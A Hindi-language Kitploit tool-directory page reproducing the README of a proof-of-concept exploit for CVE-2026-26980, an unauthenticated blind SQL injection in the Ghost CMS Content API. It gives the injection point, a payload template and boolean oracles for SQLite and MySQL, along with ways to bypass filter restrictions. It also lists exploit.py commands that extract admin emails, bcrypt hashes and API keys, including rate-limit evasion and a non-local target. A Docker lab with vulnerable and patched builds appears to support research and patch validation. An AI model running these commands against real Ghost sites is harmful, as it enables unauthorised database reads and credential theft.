Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-26980-PoC — Ghost CMS Content API ब्लाइंड SQL इंजेक्शन | Kitploit
उपकरण/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षालैब और अभ्यास
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Ghost CMS Content API ब्लाइंड SQL इंजेक्शन

रिपॉजिटरी देखें
132 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-26980 — Ghost CMS Content API ब्लाइंड SQL इंजेक्शन

प्रभावित: Ghost 3.24.0 – 6.19.0
फिक्स किया गया: Ghost 6.19.1
प्रमाणीकरण आवश्यक: कोई नहीं — Content API कुंजी सार्वजनिक है
प्रभाव: संपूर्ण डेटाबेस का अनधिकृत पठन (क्रेडेंशियल्स, API कुंजियाँ)


भेद्यता

slug-filter-order.js उपयोगकर्ता द्वारा प्रदान किए गए slug मानों को सीधे एक कच्चे SQL ORDER BY क्लॉज में इंटरपोलेट करता है, बजाय पैरामीटराइज्ड बाइंडिंग के उपयोग के।

root@kitploit:~
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

इंजेक्शन बिंदु:

root@kitploit:~
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]

पेलोड टेम्पलेट:

root@kitploit:~
slug:['||<SQL_EXPR>||',<anchor-slug>]

ओरेकल

इंजेक्ट किया गया एक्सप्रेशन एक त्रुटि-आधारित बूलियन ओरेकल के रूप में कार्य करता है।

इंजनसत्यअसत्य
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) overflow → HTTP 500

NQL बाधाएँ — कोष्ठक के अंदर SQL एक्सप्रेशन में सिंगल कोट्स (') या कॉमा (,) नहीं होना चाहिए:

समस्याSQLite समाधानMySQL समाधान
स्ट्रिंग लिटरल 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
स्थिति N पर वर्णउपसर्ग-आधारित स्ट्रिंग तुलनाASCII(SUBSTR(x FROM N FOR 1))

|| SQLite में स्ट्रिंग संयोजन है लेकिन MySQL में लॉजिकल OR — स्ट्रिंग लिटरल को प्रति इंजन अलग-अलग एन्कोड किया जाना चाहिए।


उपयोग

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

आवश्यक:
  --url URL       Ghost बेस URL (जैसे http://localhost:2368)
  --key KEY       Content API कुंजी

वैकल्पिक:
  --slug SLUG     एंकर स्लग (यदि छोड़ा गया तो API से स्वचालित रूप से खोजा जाएगा)
  --dbms {auto,sqlite,mysql}   DB इंजन (डिफ़ॉल्ट: स्वचालित पहचान)
  --delay N       अनुरोधों के बीच सेकंड — HTTP 429 से बचने के लिए उपयोग करें (डिफ़ॉल्ट: 0)
  --proxy URL     HTTP प्रॉक्सी (जैसे http://127.0.0.1:8080) (डिफ़ॉल्ट: कोई नहीं)
  --validate-fix  जांचें कि लक्ष्य पैच किया गया है या नहीं, फिर बाहर निकलें

डेटा फ़्लैग्स (कम से कम एक आवश्यक):
  --email         उपयोगकर्ता ईमेल
  --hash          उपयोगकर्ता bcrypt हैश
  --content-key   Content API कुंजी(याँ)
  --admin-key     Admin API कुंजी(याँ)
  --all           --email --hash --content-key --admin-key का संक्षिप्त रूप

संशोधक:
  --all-records   चयनित फ़्लैग के लिए सभी रिकॉर्ड निकालें, केवल पहला नहीं

उदाहरण

root@kitploit:~
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

दर सीमा (HTTP 429)

Ghost डिफ़ॉल्ट रूप से Content API अनुरोधों को दर-सीमा करता है। विकल्प:

  1. अनुरोधों के बीच देरी जोड़ने के लिए --delay 0.5 पास करें
  2. docker-compose वातावरण में API_RATE_LIMIT_ENABLED: "false" सेट करें और पुनरारंभ करें

संदर्भ

  • Ghost सुरक्षा सलाह: GHSA-w52v-v783-gw97
  • NVD: CVE-2026-26980
  • फिक्स अंतर: slug-filter-order.js in Ghost 6.18.0 → 6.19.1

प्रयोगशाला सेटअप

केवल संदर्भ के लिए — यदि आपके पास पहले से एक कमजोर Ghost इंस्टेंस है तो छोड़ें।

आवश्यकताएँ

  • Docker + Docker Compose
  • Python 3.9+ with pip install requests

निर्देशिका संरचना

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # creates ghost_patch DB, grants access
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

दोनों कंपोज़ फ़ाइलें उजागर करती हैं:

  • http://localhost:2368 — कमजोर (Ghost 6.18.0)
  • http://localhost:2369 — पैच किया गया (Ghost 6.19.1)

SQLite के साथ प्रारंभ करें

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

MySQL के साथ प्रारंभ करें

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

MySQL क्रेडेंशियल्स: host=localhost:3306 user=ghost password=ghostpass
डेटाबेस: ghost_vuln (पोर्ट 2368) / ghost_patch (पोर्ट 2369)

पहली बार चलाने की सेटअप

Ghost को प्रारंभ होने में ~60 सेकंड प्रतीक्षा करें, फिर:

  1. http://localhost:2368/ghost पर जाएं — एक व्यवस्थापक खाता बनाएं और कम से कम एक पोस्ट प्रकाशित करें
  2. Ghost Admin → Settings → Integrations से Content API कुंजी कॉपी करें

प्रयोगशाला को रीसेट करें

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
टूल डाउनलोड करें